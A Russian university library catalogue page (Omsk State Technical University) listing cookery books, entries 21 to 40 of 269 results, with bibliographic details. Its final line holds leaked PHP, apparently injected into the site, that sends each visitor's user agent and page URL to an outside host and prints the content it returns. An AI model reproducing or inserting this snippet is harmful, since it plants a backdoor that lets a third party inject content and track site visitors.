Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

108 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Кулинария")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 269
21. 
Заготовки впрок [Текст] : домашнее консервирование / сост. Ю. Воронов, 1993. - 189 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
22. 
Захарова, Наталья Владимировна. Искусство китайской кулинарии [Текст] / Н. В. Захарова, 1992. - 46, [1] с.
Держатели документа (Информация об экземплярах) 
23. 
Ковалев, Николай Иванович. Кулинария для всех [Текст] : подарок молодой хозяйке / Н. И. Ковалев, В. В. Усов, 1992. - 247, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
24. 
Кощеев, Александр Аркадьевич. Напитки из дикорастущих плодов и ягод [Текст] / А. А. Кощеев, 1991. - 63, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
25. 
Ковалев, Вячеслав Михайлович. Русская кухня: традиции и обычаи [Текст] / В. М. Ковалев, Н. П. Могильный, 1990. - 254, [1] с.
Держатели документа (Информация об экземплярах) 
26. 
Клявиня, Айна Мартыновна. Обед на каждый день [Текст] / А. М. Клявиня ; пер. с латыш. С. Клявиньша, 1990. - 334, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
27. 
Захарова, Тамара Ивановна. Блюда из птицы [Текст] / Т. И. Захарова, 1991. - 110, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
28. 
Головков, Анатолий Эммануилович. Разносолы деревенской кухни [Текст] / А. Э. Головков, 1992. - 239, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
29. 
Домашний калейдоскоп [Текст] : о том, о сем, 1993. - 127, [1] с.
Держатели документа (Информация об экземплярах) 
30. 
Рубальская, Лариса Алексеевна. Кулинарная стихия, или стихийная кулинария [Текст] / Лариса Рубальская, 2005. - 382, [1] с.
Держатели документа (Информация об экземплярах) 
31. 
Некрутман, Самуил Вениаминович. Сверхбыстрая кулинария, или СВЧ-печь в вашем доме [Текст] / С. В. Некрутман, 1988. - 111 с.
Держатели документа (Информация об экземплярах) 
32. 
Похлебкин, Вильям Васильевич. Национальные кухни наших народов [Текст] / В. В. Похлебкин, 2001. - 638, [1] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
33. 
Маслов, Леонид Александрович. Кулинария [Текст] : Учеб. / Л. А. Маслов, 1957. - 295 с.
Держатели документа (Информация об экземплярах) 
34. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 
35. 
Ковалев, Николай Иванович. Технология приготовления пищи [Текст] : Учеб. для сред. спец. учеб. заведений по специальностям 2711 "Технология продуктов общественного питания" и 2311 "Организация обслуживания на предприятиях общественного питания" / Н. И. Ковалев, М. Н. Куткина, В. А. Кравцова; Под ред. М. А. Николаевой, 2003. - 467 с.

Учебник полностью соответствует государственным образовательным стандартам. В нем рассматриваются теоретические основы производства продукции <предприятий> <общественного> <питания>, основные способы и приемы <обработки> <сырья> и <полуфабрикатов>, технология приготовления блюд из мяса, птицы и рыбы, кондитерских изделий и напитков. Особое внимание обращается на требования, предъявляемые к качеству продукции общественного питания, оформлению ее при подаче к столу.

36. 
Егоров, Николай Михайлович. Грибное лукошко [Текст], 1993. - 302, [1] с.
Оглавление 
  • Массо, Сальме Оскарович. Блюда из грибов / С. О. Массо
Держатели документа (Информация об экземплярах) 
37. 
Салихов Ш. Г. Блюда узбекской кухни [Текст] : Альбом / Ш. Г. Салихов, 1991. - 72, [1] с.
38. 
Браиловская, Людмила Викторовна. Вечеринки для взрослых "Под знаком зодиака". [Текст] / Л. В. Браиловская, 2003. - 284, [3] с.
39. 
Ловись, рыбка [Текст], 1994. - 278, [1] с.
Держатели документа (Информация об экземплярах) 
40. 
Кенгис, Роберт Петрович. Изделия из теста [Текст] / Р. П. Кенгис, 1958. - 192 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2999 - 26.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.81 с.12 запросов, 0.41c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;